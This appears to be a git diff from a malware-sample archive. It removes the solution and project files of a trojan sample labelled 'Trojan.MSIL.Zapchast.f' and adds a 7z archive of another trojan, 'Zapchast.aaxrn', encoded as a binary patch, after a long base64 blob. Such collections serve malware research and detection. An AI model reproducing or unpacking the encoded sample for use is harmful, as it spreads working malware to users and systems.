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irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdir/9TzXnBPLt4q3gZNg4oXA5FW64oXA1wK2DgVvFW64FXA4FbrirdcCrgcCrgcFK3gVvArYOKt1wK3XFW64FbrirdcCurirq4q3UYFdXFW64odXFXVxV1caV1caV1caV1cKtVxV1cUOqMVarirq4q1irq4q6uFWq4q1XFXVwq1XFXYq1irq4VarilquFWq4q1XCrVcKtYpaxV1cKtVwq0Tiq2uGldhVquKtE4qt5YVarhVquKVtcKtE4VarhW2sUOxV2FWq4pprFXdMKtE4VaxV2KuxV2KuxVonFWsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVbpireKuxV2KuxV2KrgMCHYEtgYq3ih2KXYEN4EhvFLsVbGKG8CuxV2KuxV2KuxV2KuxVacKtYpdirq4UNYodhS7FDRxS1iriaYULcKXYq7FXYq1XFWsVdirsVdirsVdirsVdirsVdirsVdirYGKt4q7FXYq7FXYq7FXYquGAobwK1il2KXYq4YoX4odirsVdirsVdirsVaJpiq0nFLsUuxV2KG8UNVw0q3Cl2KuxV2KuxV2KuxV2KtHFWsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVf/1fNecE8u7FWxilvAlsHFDeBV2BC4GuBWwcCt4q3irdcCtg4FbrjSVwOBDdcCrq4KVuowK7FW64FbrirdcCt1wK3XFW8VdirsVdirsCuxQ7FXYobxVquKurhV1cVdXFWq4q6uKtVwq6uKtVxV2KuxVqowq1ywpaJrirVcVdXFDVcKWq4VarirsUtVw0rVcKtVxVonCrVcKtVxVquKtVxVrlhVrCrVcKrScKaarilquFDWKHYq7CricVW4pdihonClrCrsVdirsVdirROKurirWKuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KtjrireKuxV2KuxV2KrhgQ7AruuKV2KHYq7ArYxV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 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj deleted file mode 100644 index eedddc4a..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {4F799579-40C9-4785-8F82-18619A51377C} - WinExe - XqNvNTCMcR - 1.0.0.0 - XqNvNTCMcR - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln deleted file mode 100644 index 28a720b2..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XqNvNTCMcR", "Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.csproj", "{4F799579-40C9-4785-8F82-18619A51377C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4F799579-40C9-4785-8F82-18619A51377C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4F799579-40C9-4785-8F82-18619A51377C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4F799579-40C9-4785-8F82-18619A51377C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4F799579-40C9-4785-8F82-18619A51377C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aaxrn.7z b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aaxrn.7z new file mode 100644 index 0000000000000000000000000000000000000000..05f78bdfc3f7c5ccbda1a2be9bf136e5be16eaaf GIT binary patch literal 31159 zcmZ6yV{~Rwvn?FkR>yYo#Ob7C+qP}nwr$(CZQHihU%%(v`;B|f{w<9Z`R_5|@0|NmSfB*p@{`<=B=xA(hVC61uV`58h=;$mzDKp53 z)J5`4P?a@6r1B8}CW8*81dU`N$q*K3Xd4i0DB6jj&=U=sJH)Ujpd3E8rPA35Xl&Fa z$fYyatald0x9AC2@O#==pPU!B6{r!0ezKj@sI}aayad*6gz#GJt(zZjBn;?a+y>XY zsy2D z@C5aQ{8TgxbzS2?!&mZUg0f;gC$>r+K!W=)<62s-j4c!#A8}`sBsb5f*XJP*u)YpY zN6IA&9aAcApsa+8Nzx(HNGu=bbh!mP&+9QfHM$~hj6n~)E-mHQuY z<|JD0o`(Sfnso*O!u%I!K`V1(8z)^MeJ5jcCkK5SM-yX*fAPN7UawhXMDi9rAb>-p zL?&aAR;>Zj-UCVfH9=etRa`C!YK~%@k2bV>hxz-i5Aq&1Ds@PGvq{TE)h=-(2ix;^ zPSzs%bL*_`OpdT>-7%flX1`)nQz2)Ef1#wmc_&c@IcxvD;oRN+#OUeVr(1!xi`A6~ zLv0#zOJSeWAhvA-L5LfZy-JfhEYAqPndgnWwxwmqie>&}J?bzp@9hEBQ5HrArYzoO zN4P3tH~SjT?MRFu`nHdk+cDk+!mFpYq1$;>jc&I?iKm^Noe4+RZ;r;^Kg>_xf%2yn z`KMRJqm5HgQaOUDvpl|N0pF*ei^10$L~D_Dc)xoO=(I-xrTdSgE=ZyKTX1*jZ0_0W zK`oD8`g`4M+Se~{cPTGRPu1<%A{pjAuv-9+*(~)o%dl+rNtu<_@r}*PNb<|zKok}N4nxvbiViq2^>IDuS{gf*DL#S&cnX6q< zG|we`%z(l2pu69+d2k9v3-@zMzRNN!1|c|!>ohom_u>F4Zw$ew-4~VsFFddjrwLX; z#Taq4*<=%)6giXQ*{v)noMLZkW%D-F_G5rqt;9+FsZOiCoVx31)5-BfXo~M-$bB0J z;VHxTlv0yEPbuA*d9?dx#MN-NTRjrBQ0=WC*4q54tbF@LIJVFmPs?IOpAW2zz|=cs z#2GSmV?y$clF~v@ds0t9`!9=fb0>V~&FgM0V}mTEi|eKr!~PA;*&JdE%cyNC7j*RO zUO%m_qi&_4a}JPX7-gGz-jJd_vP8v5p5Jf`=_{G4{+OMLX98$LX|H^S5lh|h+U^{& zn2Fk-g2Ay(ija}%wjH%D_VfJ%x&CL!o>bR!lWVyG{fJMImK+r~(bYhPuMOv)>3z;q z&@MVHv-aCg!EN^fyEJG{LU@og4jE5jy*K;~qbgwZjQa&4(|(wEVE&kVp$jQW+~Ggn zLv1-&m@9B*eRL7cgDT`vZZx(H@|6}AH6&AHB~dtv8o{NCJR<6{ts=5qbOj&DnC@Y* zz1bI6$IdQ%6nG8Wu)ykSjzvfe3+iZq_#Rro5aqo^f1|dXIBTxRI36Zk33jDb{UjYm zRZXK7KK-(8%0*S`LS=E(vqH8-`Hcrvp+-e(e(12j_f&5-A88knw2-q$f?9qIubZiU zE+0eCZn+ufD80fRw^69rQkKEw8JHAiR%3dgqx0Yd-XUctJ-@ZI)XR%Rcc9!$%DXcH zNrauuetOK#H6r(543pe2$ZSz6wt_?VaV-#NhBLoGrqx3|?_@N|ErYD%#?MgYEVf{L zh|vVcLK4$gs7k$kQl;BlBPP?}z7=|E{^4$W8hE&Vo$wv5F}Dyg8gRX{wv~NZB6BN- zrRZ7423nz3gEl~o2l@&MYn}8l#FAs!x3JzN@6^(%4Xf6*61Dhh|_@6 